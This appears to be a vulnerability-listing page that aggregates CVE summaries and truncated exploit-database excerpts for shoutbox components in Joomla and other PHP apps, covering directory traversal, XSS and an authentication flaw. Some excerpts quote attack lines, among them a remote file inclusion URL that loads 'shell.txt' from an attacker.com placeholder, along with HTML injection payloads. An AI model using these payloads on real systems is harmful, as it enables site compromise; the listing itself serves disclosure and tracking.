CVE-2010-1534

Directory traversal vulnerability in the Shoutbox Pro comshoutbox component for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the controller parameter to index.php...

Directory traversal

Directory traversal vulnerability in the Shoutbox Pro comshoutbox component for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the controller parameter to index.php...

CVE-2010-1534

Directory traversal vulnerability in the Shoutbox Pro comshoutbox component for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the controller parameter to index.php...

CVE-2009-4767

Multiple cross-site scripting XSS vulnerabilities in index.php in Plohni Shoutbox 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 inputname and 2 inputtext parameters. NOTE: some of these details are obtained from third party information...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in index.php in Plohni Shoutbox 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 inputname and 2 inputtext parameters. NOTE: some of these details are obtained from third party information...

CVE-2009-4767

Technical details, affected versions, exploit steps, and remediation are not provided in the connected documents; monitor for updates.

CVE-2009-4767

Multiple cross-site scripting XSS vulnerabilities in index.php in Plohni Shoutbox 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 inputname and 2 inputtext parameters. NOTE: some of these details are obtained from third party information...

Joomla Component com_shoutbox LFI Vulnerability

No description provided by source. ================================================================================================ Title : Joomla Component comshoutbox LFI Vulnerability Download : http://joomlacode.org/gf/project/shoutbox Date : Monday, 05 April 2010 Indonesia Author : Vrs-hCk...

Joomla Shoutbox Local File Inclusion

================================================================================================ Title : Joomla Component comshoutbox LFI Vulnerability Download : http://joomlacode.org/gf/project/shoutbox Date : Monday, 05 April 2010 Indonesia Author : Vrs-hCk Contact : anderatantisecurity.org Bl...

Joomla! Component Shoutbox Pro - Local File Inclusion

Joomla! Component Shoutbox Pro - Local File Inclusion ================================================================================================ Title : Joomla Component comshoutbox LFI Vulnerability Download : http://joomlacode.org/gf/project/shoutbox Date : Monday, 05 April 2010 Indonesia...

Joomla! Component Shoutbox Pro - Local File Inclusion

================================================================================================ Title : Joomla Component comshoutbox LFI Vulnerability Download : http://joomlacode.org/gf/project/shoutbox Date : Monday, 05 April 2010 Indonesia Author : Vrs-hCk Contact : anderatantisecurity.org Bl...

Authentication flaw

The Kide Shoutbox comkide component 0.4.6 for Joomla! does not properly perform authentication, which allows remote attackers to post messages with an arbitrary account name via an insertar action to index.php. NOTE: the provenance of this information is unknown; the details are obtained solely...

CVE-2009-4232

The Kide Shoutbox comkide component 0.4.6 for Joomla! does not properly perform authentication, which allows remote attackers to post messages with an arbitrary account name via an insertar action to index.php. NOTE: the provenance of this information is unknown; the details are obtained solely...

CVE-2009-4232

The CVE-2009-4232 entry concerns the Kide Shoutbox (com_kide) Joomla! extension version 0.4.6. The vulnerability is an authentication flaw that allows remote attackers to post messages under an arbitrary account name by abusing the insertar action in index.php. The issue is documented across mult...

CVE-2009-4232

The Kide Shoutbox comkide component 0.4.6 for Joomla! does not properly perform authentication, which allows remote attackers to post messages with an arbitrary account name via an insertar action to index.php. NOTE: the provenance of this information is unknown; the details are obtained solely...

Kide Shoutbox 0.4.6 - Cross-Site Scripting AXFR

Kide Shoutbox 0.4.6 - Cross-Site Scripting AXFR andresg888 Web: : www.ilegalintrusion.net & www.bl4ck-p0rtal.org Exploit : Go to the shoutbox and type: red text or hi or 3xplo!t : http://server/path/include/prodler.class.php?sPath=http://attacker.com/shell.txt??? Greetz : 84kur10 , Brunos50 Speci...

Kide Shoutbox v0.4.6 XSS & AXFR

No description provided by source. andresg888 Web: : www.ilegalintrusion.nethttp://www.ilegalintrusion.net & www.bl4ck-p0rtal.orghttp://www.bl4ck-p0rtal.org Exploit : Go to the shoutbox and type: font color="red"red text/font or marqueehi/marquee or 3xplo!t :...

Kide Shoutbox v0.4.6 XSS & AXFR

Exploit for unknown platform in category web applications =============================== Kide Shoutbox v0.4.6 XSS & AXFR =============================== Exploit : Go to the shoutbox and type: red text or hi or 3xplo!t :...

Kide Shoutbox 0.4.6 - Cross-Site Scripting / AXFR

andresg888 Web: : www.ilegalintrusion.net & www.bl4ck-p0rtal.org Exploit : Go to the shoutbox and type: red text or hi or 3xplo!t : http://server/path/include/prodler.class.php?sPath=http://attacker.com/shell.txt??? Greetz : 84kur10 , Brunos50 Special Thanks : all members from ilegalintrusion &...

Shoutbox 1.0 HTML / Xss Injection

Exploit for unknown platform in category web applications ================================= Shoutbox 1.0 HTML / Xss Injection ================================= Vulnerable Code in index.php : : Shoutbox 1.0 HTML / Xss inejction exploit AuTh0r : SKuLL-HacKeR Vendor: http://www.plohni.com exploit:...